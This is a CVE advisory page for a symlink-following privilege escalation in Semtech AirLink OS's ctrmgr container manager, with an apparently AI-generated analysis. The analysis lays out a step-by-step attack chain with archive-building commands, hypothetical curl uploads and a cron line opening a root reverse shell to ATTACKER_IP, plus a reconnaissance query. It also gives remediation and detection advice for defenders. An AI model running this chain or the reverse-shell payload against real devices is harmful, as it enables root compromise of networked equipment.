CVE Professor
/
All CVEs
CVE-2026-137266

CVE-2026-137266 — Semtech AirLink OS (6.1.0.39) — CWE-61

HIGH CVSS 7.1 Shodan

A symbolic link following vulnerability in the ctrmgr container manager of Semtech AirLink OS (AOS) versions 5.0.0 and later but before 6.1.39 allows an authenticated administrator to create or replace files as root on the /mnt/user partition, outside the container's assigned volume. Exploitation requires two sequential volume archive uploads; the first plants a symbolic link that the second follows. This can be used to gain root access on the device. The issue is fixed in AOS 6.2.0 and backported to 6.1.0.39; restricting administrative access to trusted users reduces exposure.

A symbolic link following vulnerability in the ctrmgr container manager of Semtech AirLink OS (AOS) versions 5.0.0 and later but before 6.1.39 allows an authenticated administrator to create or replace files as root on the /mnt/user partition, outside the container's assigned volume. Exploitation requires two sequential volume archive uploads; the first plants a symbolic link that the second follows. This can be used to gain root access on the device. The issue is fixed in AOS 6.2.0 and backported to 6.1.0.39; restricting administrative access to trusted users reduces exposure.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:L/AC:H/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H
Attack Vector Local AV:L
Attack Complexity High AC:H
Attack Reqs. None AT:N
Privileges Req. High PR:H
User Interaction None UI:N
Vuln. Conf. None VC:N
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE-2026-137266 is a Symbolic Link Following vulnerability (CWE-61) located in the ctrmgr (Container Manager) component of Semtech AirLink OS (AOS).

Technical Flaw Analysis

The core issue is a TOCTOU (Time-of-Check to Time-of-Use) race condition combined with insufficient path sanitization during volume archive extraction.

1. Missing Check: The ctrmgr service, when processing volume archive uploads, does not verify that the target path for file extraction is strictly contained within the intended container volume. It fails to resolve symbolic links before performing write operations or fails to use flags like O_NOFOLLOW when opening files for writing.
2. Logic Error: The manager allows an authenticated administrator to upload an archive containing a symbolic link. When a subsequent archive is uploaded, the manager follows the existing symbolic link to a location outside the sandbox (specifically /mnt/user), allowing the attacker to overwrite or create files with root privileges.
3. Privilege Context: The ctrmgr process runs with elevated privileges (root) to manage container volumes. Because it trusts the file structure within the uploaded archives without resolving symlinks against the allowed directory tree, it effectively grants root file write access to any path reachable via a symlink.

CVSS 4.0 Interpretation:

  • AV:L (Local): The attacker must have local access (e.g., SSH, console, or a compromised local service account).

  • PR:H (High Privileges): The attacker must already be an authenticated administrator. This is a privilege escalation vector (Admin → Root), not an initial access vector.

  • AC:H (High Complexity): Requires a specific two-step sequence (plant symlink, then follow it) and precise timing or ordering of archive uploads.

  • VI:H / VA:H / SC:H / SI:H / SA:H: High impact on both the vulnerable system (V) and subsequent systems (S) due to root compromise.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Identify Target: Confirm the device is running Semtech AirLink OS (AOS).
  • Version Check: Verify the AOS version is >= 5.0.0 and < 6.1.39 (or < 6.2.0). This can be done via:
  • * SSH login and checking /etc/os-release or cat /etc/aos_version. * Checking the web interface version string (if accessible). * Using ctrmgr --version if available.
  • Access Verification: Ensure the attacker has administrative credentials. This is a prerequisite. Without admin access, this CVE cannot be exploited.
  • 2. Exploitation

    The exploitation requires two sequential volume archive uploads. The exact API endpoints for ctrmgr are not publicly documented in the CVE description, so the following is an illustrative example based on typical container manager CLI/API patterns.

    Step 1: Plant the Symbolic Link
    Create an archive (payload1.tar.gz) containing a symbolic link that points to a critical root-owned file or directory outside the container volume. For example, link to /etc/cron.d/ or a specific executable.

    # Create a directory structure for the archive
    mkdir -p /tmp/exploit/volume
    cd /tmp/exploit/volume
    
    # Create a symbolic link pointing to a root-writable location outside the container
    # Example: Link to /etc/cron.d/ to drop a cron job
    ln -s /etc/cron.d/ malicious_link
    
    # Create the archive
    tar -czf payload1.tar.gz malicious_link

    Step 2: Upload the First Archive
    Upload payload1.tar.gz to the ctrmgr volume management interface. The manager extracts the archive, creating the symbolic link malicious_link inside the container's assigned volume. At this point, no malicious file has been written to the host yet.

    Step 3: Create the Payload Archive
    Create a second archive (payload2.tar.gz) that contains a file with the same name as the symbolic link created in Step 1. This file will contain the malicious content (e.g., a reverse shell script or a cron job).

    # Create the malicious file content
    echo '* * * * * root /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > malicious_link
    
    # Create the second archive
    tar -czf payload2.tar.gz malicious_link

    Step 4: Upload the Second Archive
    Upload payload2.tar.gz to the ctrmgr volume management interface.

  • Vulnerability Trigger: When ctrmgr extracts payload2.tar.gz, it encounters the file malicious_link.

  • Symlink Following: Instead of overwriting the symbolic link or refusing to write through it, ctrmgr follows the symlink to /etc/cron.d/ and writes the file malicious_link there as root.

  • Result: A new cron job is created in /etc/cron.d/ with root privileges.
  • Illustrative curl command (hypothetical endpoint):

    # Step 1: Upload symlink archive
    curl -X POST -H "Authorization: Bearer <ADMIN_TOKEN>" \
         -F "[email protected]" \
         http://TARGET_IP/api/v1/ctrmgr/volumes/upload
    
    # Step 2: Upload payload archive (follows the symlink)
    curl -X POST -H "Authorization: Bearer <ADMIN_TOKEN>" \
         -F "[email protected]" \
         http://TARGET_IP/api/v1/ctrmgr/volumes/upload

    3. Post-Exploitation

  • Root Access: The cron job executes every minute, spawning a reverse shell as root.
  • Persistence: The attacker can now install persistent backdoors, modify system binaries, or exfiltrate sensitive data from the host.
  • Lateral Movement: With root access on the AOS device, the attacker can pivot to other network segments if the device is connected to internal networks.
  • 🌍 Real World Impact

  • Confidentiality (VC:N, SC:H): No direct confidentiality impact on the vulnerable system itself (VC:N), but high impact on subsequent systems (SC:H) because root access allows reading all data on the host and potentially accessing connected networks.
  • Integrity (VI:H, SI:H): High impact on both the vulnerable system and subsequent systems. The attacker can modify any file, including system binaries, configuration files, and logs.
  • Availability (VA:H, SA:H): High impact on both. The attacker can delete critical files, stop services, or crash the system.
  • Practical Consequences:

  • Complete Device Compromise: An admin account compromise leads to full root takeover of the AOS device.

  • Supply Chain Risk: If the AOS device is part of a larger IoT/OT network, root access can be used to inject malicious firmware or commands into other devices.

  • Data Exfiltration: Root access allows bypassing any file-level permissions, enabling theft of sensitive data stored on /mnt/user or other partitions.
  • 🛡️ Remediation & Mitigation

    1. Patching (Primary Fix)

  • Upgrade to AOS 6.2.0: This version contains the official fix.
  • Backport: Upgrade to AOS 6.1.0.39 if 6.2.0 is not immediately available.
  • Affected Versions: 5.0.0 through 6.1.38 (inclusive).
  • 2. Workarounds (If Patching is Delayed)

  • Restrict Administrative Access:
  • * Limit SSH and web interface access to trusted, isolated management networks. * Disable remote administrative access if not strictly necessary. * Use strong, unique passwords and enforce MFA for admin accounts.
  • Disable ctrmgr Volume Uploads:
  • * If container volume management via archive upload is not required, disable the feature in the AOS configuration. * Example (hypothetical config):
    [ctrmgr]
            allow_archive_upload = false
  • Filesystem Restrictions:
  • * Mount the container volume with nosuid, nodev, and noexec options to limit the impact of any malicious files. * Use chroot or jail to further isolate the ctrmgr process (if supported by the OS).

    3. Detection (IoCs)

  • Log Monitoring:
  • * Monitor ctrmgr logs for archive upload events. * Look for sequences of two uploads in a short time window. * Example log pattern:
    [ctrmgr] INFO: Archive uploaded: /var/lib/ctrmgr/volumes/upload_123.tar.gz
            [ctrmgr] INFO: Archive uploaded: /var/lib/ctrmgr/volumes/upload_124.tar.gz
  • File System Monitoring:
  • * Use auditd or inotify to monitor /etc/cron.d/, /etc/crontab, and other critical system directories for unexpected file creation or modification. * Alert on any new files in /etc/cron.d/ that do not match known patterns.
  • Network Monitoring:
  • * Detect outbound connections from the AOS device to unexpected IPs/ports (e.g., reverse shells). * Look for DNS queries to suspicious domains.

    ⚠️ Urgency

  • CVSS Score: 7.1 (HIGH)
  • CISA KEV: No
  • Exploit Complexity: High (requires admin access and specific two-step sequence)
  • Patch Priority: MEDIUM-HIGH
  • Recommendation:
    While this is not a CISA KEV vulnerability and requires high privileges (admin) to exploit, it allows root escalation on a critical infrastructure component. If your environment has any risk of admin account compromise (e.g., weak passwords, phishing, insider threat), this should be treated as HIGH priority.

  • Immediate Action: If you have any untrusted admin accounts or if the device is exposed to untrusted networks, patch immediately.
  • Short-Term: Restrict admin access to trusted networks and monitor for suspicious archive uploads.
  • Long-Term: Implement a strict patch management process for AOS devices.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Semtech AirLink OS"
CVSS Score
7.1 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-61
Affected Products (1)
Semtech:AirLink OS (6.1.0.39)
References & Advisories (1)
Related CVEs
8.7
CVE-2026-145182
Mullvad gotatun 0.1.0 before 0.10.1 contains a denial of service vulnerability that allows unauthenticated rem
8.2
CVE-2026-145176
quinn-proto 0.11.0 before 0.11.18 contains a denial of service vulnerability that allows remote QUIC peers to
6.5
CVE-2026-145046
FreeRDP before 3.33.1 contains a denial of service vulnerability in progressive_surface_tile_replace() that al
6.5
CVE-2026-145068
FreeRDP before 3.33.1 contains a denial of service vulnerability that allows malicious RDP servers to abort cl
6.3
CVE-2026-145185
Internxt drive-server-wip before commit 6a7801c contains an insufficient session expiration vulnerability in A
6.3
CVE-2026-144822
A security flaw has been discovered in gz-yami mall4j up to 4.0. This vulnerability affects unknown code of th
6.3
CVE-2026-120772
Insufficient session expiration in back-end login in dotCMS 25.03.12 through 26.10.28-03 (remember-me logins s